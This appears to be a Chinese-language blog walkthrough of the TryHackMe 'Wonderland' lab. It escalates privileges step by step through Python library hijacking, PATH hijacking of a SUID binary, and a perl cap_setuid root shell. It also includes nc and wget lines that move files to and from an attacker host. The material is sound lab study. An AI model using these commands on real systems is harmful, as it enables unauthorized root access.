Try Hack-Wonderland

Try Hack-Wonderland

v2ish1yan Lv4

0x00

可以学到很多提权的方式

参考链接:

ssh连接

先nmap扫一下端口,发现开启了22端口

image-20230110201300334

网站的标题是Follow the White Rabbit.

再结合使用dirbuster扫到了/r/a,猜测是访问/r/a/b/b/i/t

image-20230110195402386

然后到了这个页面

image-20230110195627049

查看源码得到

1
alice:HowDothTheLittleCrocodileImproveHisShiningTail

看起来是ssh登录的账户和密码

使用命令

1
ssh alice@10.10.197.160

来使用ssh连接

然后发现这个用户的权限非常低,所以要提权

提权至rabbit

使用sudo -l查看当前用户可执行与无法执行的指令,发现可以使用rabbit的权限去运行python3和walrus_and_the_carpenter.py文件

1
2
3
4
5
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

然后再看看walrus_and_the_carpenter.py

1
2
3
4
5
6
7
8
9
import random
poem = """The sun was shining on the sea,
Shining with all his might:
................
"""

for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)

他导入了一个random库,然后设置了一个变量poem,让他随机打印十行诗句

这里的关键就是通过劫持Python库进行权限提升

python在导入库的时候,有一个库的搜索路径列表,使用下面的命令可以输出搜索顺序

1
python3 -c 'import sys;print (sys.path)'
1
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

最前面的表示当前目录,即和执行的py脚本在同一个目录

我们只要把自己写的random.py文件放在原本的random.py前面,从而劫持库来进行提权

在/usr/lib/python3.6目录下可以找到random.py,所以我们在walrus_and_the_carpenter.py的同一目录下创建一个random.py,这样在导入random库的时候就会先导入我们写的random.py,从而来提升到rabbit权限

/home/alice/我们是有权限写入的

random.py

1
2
import os
os.system("/bin/bash")

然后用rabbit用户运行这个脚本

1
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

就可以发现,已经切换到rabbit用户了

image-20230110212238778

user.txt是看提示,说一切都是颠倒的,所以user.txt在/root里被找到

/root/里不能使用ls,所以只能直接猜

1
cat /root/user.txt

提权至hatter

然后还得提权

在/home/rabbit目录发现了存在suid位的可执行文件teaParty

image-20230110213944067

有suid位,说明其他用户在执行这个程序的时候,将获取文件所有者的权限以及所有者的UID和GID,可以进行提权

可以查看一下这个可执行文件,使用nc来将文件下载下来

目标机

1
nc 10.18.104.32 9000 < teaParty 

攻击机

1
nc -lvvp 9000 > teaParty

使用ida查看,得到伪代码

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
setuid(0x3EBu);
setgid(0x3EBu);
puts("Welcome to the tea party!\nThe Mad Hatter will be here soon.");
system("/bin/echo -n 'Probably by ' && date --date='next hour' -R");
puts("Ask very nicely, and I will give you some tea while you wait for him");
getchar();
return puts("Segmentation fault (core dumped)");
}

发现他会执行echodate两个系统命令,echo是直接执行的文件,而data是通过系统变量来定位的文件

使用命令echo $PATH查看目标主机的系统变量,为

1
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

使用which date可以知道这个命令的绝对路径,为

1
/bin/date

我们可以找一个有权限写入的目录,构造一个可执行脚本,并命名为date。然后修改PATH的值将这个伪造的可执行文件date的目录放在最前面。

这样在执行teaParty的时候,他就会以root的权限执行这个文件,然后在执行date的时候就会执行到我们构造的那个恶意文件

查找发现/tmp可以写入

date

1
2
#!/bin/bash
/bin/bash

然后执行命令

1
2
chmod +x date
export PATH=/tmp:$PATH

查看PATH,echo $PATH,已经生效

1
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

然后执行teaParty,成功提权为hatter用户

image-20230110221048792

在/home/hatter可以发现password.txt文件

1
WhyIsARavenLikeAWritingDesk?

猜测可能是root的密码,发现不是。

尝试tryhackme用户,也不是。

最后发现就是hatter用户的密码。

执行sudo -l后,发现没有什么可以使用sudo执行的命令

提权至root

可以使用LinPEAS 来查找可能存在的提权方式

在攻击机上开启pytho服务,目标机使用wget下载文件

1
python3 -m http.server
1
2
3
wget http://10.18.104.3x:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a

在capability中可以发现以下内容

1
2
3
4
Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Capability 是linux将root权限进行分割然后分配给其他进程,使其他进程可以在普通用户权限下让程序拥有额外的权限

为了让Capability的概念更透彻,我们可以举下面的例子:假设有一个web服务器运行在80端口,我们需要额外的root权限来扫描1024端口之前的端口。在这一点上,而不是给full root 权限给低权限用户,我们可以设置capability给二进制文件来执行所需的操作。

这里perl拥有一些capability,在gtfobins 上找使用perl进行提权的相关命令

执行以下命令,得到root权限

1
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

image-20230110224918893

然后就可以去/home/alice/读取root.txt了 XD

  • 标题: Try Hack-Wonderland
  • 作者: v2ish1yan
  • 创建于: 2023-05-20 11:09:40
  • 更新于: 2023-05-20 11:09:40
  • 链接: http://v2ish1yan.top/2023/05/20/靶机/THM_wonderland/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论